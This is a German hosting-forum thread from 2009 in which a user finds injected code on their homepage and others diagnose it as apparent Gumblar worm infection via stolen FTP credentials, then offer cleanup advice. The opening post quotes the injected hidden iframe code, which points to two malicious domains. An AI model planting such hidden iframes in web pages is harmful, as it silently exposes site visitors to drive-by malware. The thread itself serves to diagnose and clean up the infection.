Automaticher Code
lima-city → Forum → Die eigene Homepage → Sicherheit im Internet
code
datei
datum
ftp
http
index
info
jemand
leute
netz
nutzen
oleander
rechner
server
software
system
url
virus
windows
wurm
-
Hallo!
Heute Habe Ich einen Komichen Code gefunden, den ich aber nicht selbst eingefügt habe!!
echo "<iframe src=\"http://brugeni.net/?click=6B4964\" width=1 height=1 style=\"visibility:hidden;position:absolute\"></iframe>"; ?> <iframe src="http://lotwager.cn:8080/ts/in.cgi?pepsi56" width=125 height=125 style="visibility: hidden"></iframe>
Weiß Jemand was? -
Diskutiere mit und stelle Fragen: Jetzt kostenlos anmelden!
lima-city: Gratis werbefreier Webspace für deine eigene Homepage
-
@all: Nicht die Homepage von privatecitypage besuchen!!!
Eine Googlesuche nach "cn:8080/ts/in.cgi" bringt schlechte Nachrichten für dich.
Deine Seite ist verseucht! Ich lese mich gerade durch die Foren um Genaueres sagen zu können.
€dit: Betrifft das Problem deine Homepage bei Lima? -> Supportticket, damit die Seite erstmal vom Netz genommen wird.
€dit2: Erste Hinweise deuten darauf hin, daß sich ein Trojaner/Virus auf deinem Rechner eingenistet hat, der gespeicherte FTP-Daten ausliest und weiterreicht.
€dit3: Es sieht aus, als wärest Du dem Gumblar-Wurm oder einem Ableger davon zum Opfer gefallen. Infos gibt es u.a. bei Winfuture
Beitrag zuletzt geändert: 11.6.2009 14:31:29 von fatfreddy -
Die Userseite muss vom User selbst vom Netz genommen werden.
Soweit meine Info von Seiten der Administrative.
Sollte es sich bei dir um den von fatfreddy genannten Wurm handeln, so bleibt nach meiner jetzigen Recherche nur eine Neuinstallation des Systems
Beitrag zuletzt geändert: 11.6.2009 15:24:18 von karpfen -
privatecitypage schrieb:
Wessen Systemes?
Meins oder Limas?
wenn meins Nicht schlimm.
Wenn Limas (SCH***).
Dein System. -
ok!!
Meins Ist ja nicht schlimm.
Limas Server wäre schlimmer.
Ich ziehe erstmal alles vom Server und dann Formatiere ich meine Festplatte!!.
-
Ich würde vorher auf jeden Fall erstmal analysieren, ob es sich bei dir wirklich um den Wurm handelt.
-
Ich Denke mal nicht, denn es eine Hacker!
Denn mein Anti-Virus Erkennt nichts.
Ich gucke mal ob meine Web-Analyse Software etwas findet!.
-
karpfen schrieb:
Die Userseite muss vom User selbst vom Netz genommen werden.
Soweit meine Info von Seiten der Administrative.
Sofern er das kann und tut, ist's ja ok. Aber was ist, wenn nicht? Wird dann hingenommen, daß Lima-Server als Virenschleuder mißbraucht werden? Das kenne ich von anderen Hostern aber anders. Dort wird, allein zum Schutz vor Regressansprüchen und zur Schadenbegrenzung, sofort gehandelt.
privatecitypage schrieb: Ich Denke mal nicht, denn es eine Hacker!
Denn mein Anti-Virus Erkennt nichts.
Wenn dein Rechner infiziert ist, kannst Du dich auf Analysen und Meldungen deiner Virenschutzsoftware nicht mehr verlassen.
Empfohlenes Vorgehen:
- infizierte Dateien vom Server nehmen
- das FTP-Passwort bei Lima ändern
- Passwort nicht auf dem eigenen Rechner speichern und den FTP-Zugang nicht nutzen
- prüfen, ob dein Rechner infiziert ist und gegebenfallse entseuchen.
- alle verfügbaren Sicherheitsupdates installieren.
FF -
privatecitypage schrieb:
Wessen Systemes?
Meins oder Limas?
wenn meins Nicht schlimm.
Wenn Limas (SCH***).
Dödel.
Das läuft hier auf Linux-Servern.
Was soll da ein Windows-Wurm anrichten?
Mein Firefox blockt die Seite, die da per iFrame eingebunden wird ganz brav.
-
Wie ode rwoher entsteht denn ein solcher Wurm? habe angstd as dies auch auf meiner Seite geschehen könnte? Also jetzt ein Wurm und nicht so ein Hacker wie bei ihm jetzt?
danke schon mal ;D -
Schaut doch einfach bei WinFuture rein. Da steht alles und auch wie man überprüfen kann ob man infiziert ist. Einfach mal schnell die Prüfsumme vergleichen.
Der Wurm wird natürlich von jemanden gebastelt und dann in Umlauf gebracht.
P.S.: Ich bin nicht infiziert.
Beitrag zuletzt geändert: 11.6.2009 19:18:11 von reimann -
Am besten du hältst deinen Virenscanner aktuell und passt auf wo du hinklickst. Viele holen sich sowas auf die Festplatte, weil sie allzu leicht auf "OK" in Bestätigungsfenstern klicken und dann wird irgendwas auf dem Rechner installiert das man eigentlich nicht haben will und das muss nicht einmal ein Virus oder Wurm sein. Bei Windows empfiehlt sich auch eine Software Firewall und ein Spyware Scanner.
Grüße Christian -
1. Ich hbe meine Space Gelöscht.
2.Habe meine Passwörter geändert.
3.Habe mein System neu aufgesetzt.
4.Hoffe es wird bald irgendwas geben , was man gegen der Virus Machen kann.
5.Ich Has*** Windows + Viren :-). -
privatecitypage schrieb:
1. Ich hbe meine Space Gelöscht.
Nicht ganz. Und leider auch nicht alle infizierten Dateien hier: http://privatecitypage.lima-city.de/Data/Mehr_Homepages/BrowserCom/
FF -
Abend.
Ich denke privatycitypage hat den Iframe zu
absichtlich eingebaut um bei einem Refspiel zu gewinnen.http://brugeni.net/?click=xxxx
lg
Oleander -
Wenn ich mir das Ergebnis einer Google-Suche nach dieser Domain anschaue, halte ich deine Behauptung, gelinde gesagt, für ein Gerücht.
-
Abend.
Hmm. Stimmt. Du hast recht.
Da war nämlich mal ein Iframe auf seinen Seiten, der für irgendein Gewinnspiel auf einen Reflink verlinkt.
Daran dachte ich jetzt. Sorry.
lg
Oleander
PS: lynx rockt!
-
WIESO SOLLTE ICH SO EIN SCHEIß MACHEN?
UND WENN HÄTTE ICH DANN GEFRAGT?
DIESE FALSCHE ANTWORTEN BRAUCHE ICH NICHT!!!
ICH BRAUCHE HILFE MEHR NICHT!
WENN IHR MI WAS ANSCHULTIGEN WOLLT , BRAUCHT IHR KEIN BEITRAG ZU MACHEN!!
Muss ich das NOCH DEUTLISCHER Sagen? -
Nu komm mal wieder runter und hör auf zu schreien! Oleander hat sich doch entschuldigt.
Das dein Webspace noch immer verseucht ist, hast Du gelesen?
FF -
Diskutiere mit und stelle Fragen: Jetzt kostenlos anmelden!
lima-city: Gratis werbefreier Webspace für deine eigene Homepage
